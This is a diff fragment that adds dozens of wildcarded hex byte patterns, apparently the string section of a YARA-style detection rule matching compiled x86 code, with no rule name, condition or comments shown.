+		$4667465_158 = { 8D ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 33 ?? 5? 5? 5? 64 ?? ?? 68 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 8B ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 8D ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? C3 }
+		$4646432_155 = { 8B ?? ?? 8B ?? ?? ?? 2B ?? ?? ?? ?? ?? 1B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? DF ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 1B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? DF ?? ?? ?? ?? ?? ?? DE ?? D8 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? DB ?? ?? ?? ?? ?? ?? DE ?? D8 ?? ?? ?? ?? ?? D8 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 3B ?? ?? ?? ?? ?? 75 }
+		$4746796_154 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 66 ?? ?? ?? 33 ?? 89 ?? ?? 6A ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$4651197_152 = { FF 7? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? FF 5? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 8B ?? ?? 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 8B ?? ?? 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 4? ?? FF 4? ?? 0F 85 }
+		$4616227_151 = { 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? FF 9? ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? FF 5? ?? 33 ?? 8B ?? 8B ?? FF 5? ?? 33 ?? 8B ?? 8B ?? FF 5? ?? 33 ?? 8B ?? 8B ?? FF 5? ?? 33 ?? 8B ?? 8B ?? FF 5? }
+		$4743475_147 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? 0F B7 ?? ?? 66 ?? ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 0F B7 ?? ?? 66 ?? ?? ?? ?? ?? ?? 8B ?? 0F B7 ?? ?? 66 ?? ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB }
+		$4587148_143 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 8B ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 5? 8B ?? A1 ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? 8D ?? ?? A5 A5 A5 A5 A1 ?? ?? ?? ?? 8B ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? 6A ?? 8B ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 74 }
+		$4727584_143 = { 5? 8B ?? 83 ?? ?? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 4? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? DB ?? ?? 9B DB ?? ?? D8 ?? ?? ?? ?? ?? 9B DF ?? 9E 75 }
+		$4697486_132 = { 8D ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 33 ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 }
+		$4723827_131 = { E8 ?? ?? ?? ?? DD ?? ?? 9B FF 7? ?? FF 7? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8D ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 }
+		$4756036_130 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$4730465_129 = { 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? 33 ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? 8B ?? 8B ?? FF 5? }
+		$4746162_125 = { 8D ?? ?? ?? ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? 8D ?? ?? ?? ?? ?? 89 ?? 8D ?? ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? ?? ?? ?? ?? 03 ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 66 }
+		$4732008_125 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 4? 85 ?? 0F 82 }
+		$4651432_124 = { 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 8B ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B1 ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? FF 5? ?? 89 ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? FF 5? ?? 89 ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? FF 5? ?? 89 ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? FF 5? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4713373_121 = { A1 ?? ?? ?? ?? C6 ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? 8B ?? 8B ?? FF 5? ?? 8D ?? ?? A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 }
+		$4696891_121 = { 8D ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 33 ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 }
+		$4651880_121 = { 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B1 ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? FF 5? ?? 89 ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? FF 5? ?? 89 ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? FF 5? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4659060_121 = { FF 3? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 3? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 33 ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 4? 0F 85 }
+		$4716107_120 = { 8D ?? ?? ?? ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 99 8B ?? ?? 89 ?? ?? 89 ?? ?? 5? E8 ?? ?? ?? ?? 5? 80 7? ?? ?? 0F 85 }
+		$4616998_119 = { 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 }
+		$4641807_118 = { 5? 5? 5? 89 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$4746350_117 = { C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? C7 }
+		$4666856_117 = { 5? 8B ?? 33 ?? 5? 5? 5? 5? 5? 5? 5? 5? 5? 5? 89 ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 8B ?? FF 5? ?? 8B ?? ?? 8B ?? FF 5? ?? 8B ?? 4? 85 ?? 0F 8C }
+		$4719509_116 = { 8D ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4719358_116 = { 68 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4594328_116 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? EB }
+		$4768375_116 = { 8D ?? ?? 5? DD ?? ?? 83 ?? ?? DB ?? ?? 9B E8 ?? ?? ?? ?? D8 ?? ?? ?? ?? ?? D8 ?? ?? ?? ?? ?? 9B DF ?? 9E 0F 97 ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 5? DD ?? ?? DB ?? ?? 9B 8D ?? ?? 89 ?? ?? C6 ?? ?? ?? 8D ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 33 ?? 5? 5? 5? 64 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? C3 }
+		$4650835_112 = { 5? 5? 5? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 33 ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8C }
+		$4604701_109 = { 83 ?? ?? ?? 0F 94 ?? 8B ?? ?? 88 ?? ?? 5? 6A ?? 8D ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? 8B ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? 5? 6A ?? 8B ?? 33 ?? 8B ?? ?? E8 ?? ?? ?? ?? A9 ?? ?? ?? ?? 0F 94 ?? F6 ?? 1B ?? 83 ?? ?? 1B ?? 4? 33 ?? 5? 5? 5? 64 ?? ?? EB }
+		$4757280_108 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D ?? ?? 5? 6A ?? 6A ?? 6A ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 87 }
+		$4722088_107 = { 8D ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? 0F B7 ?? E8 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 5? 5? 64 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 }
+		$4656428_107 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$4715997_106 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8B ?? ?? FF 7? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4718796_106 = { 0F 54 ?? ?? 6E 64 ?? 69 ?? ?? ?? ?? ?? ?? ?? 64 ?? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 85 ?? 75 }
+		$4760719_104 = { 5? 5? 5? 5? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? B1 ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8C }
+		$4773837_103 = { 6A ?? 8B ?? E8 ?? ?? ?? ?? 03 ?? 0F B6 ?? 89 ?? ?? ?? C6 ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? C6 ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? C6 ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? C6 ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? C6 ?? ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? C6 ?? ?? ?? ?? 8D ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? EB }
+		$4654091_100 = { 5? 5? 5? 5? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? FF 5? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 4? 85 ?? 0F 8C }
+		$4602741_100 = { 8D ?? ?? 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 8B ?? 8B ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 89 ?? 8B ?? ?? 33 ?? 89 ?? 8B ?? ?? 5? 8B ?? FF 5? ?? 8B ?? ?? 5? 8B ?? FF 5? ?? 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
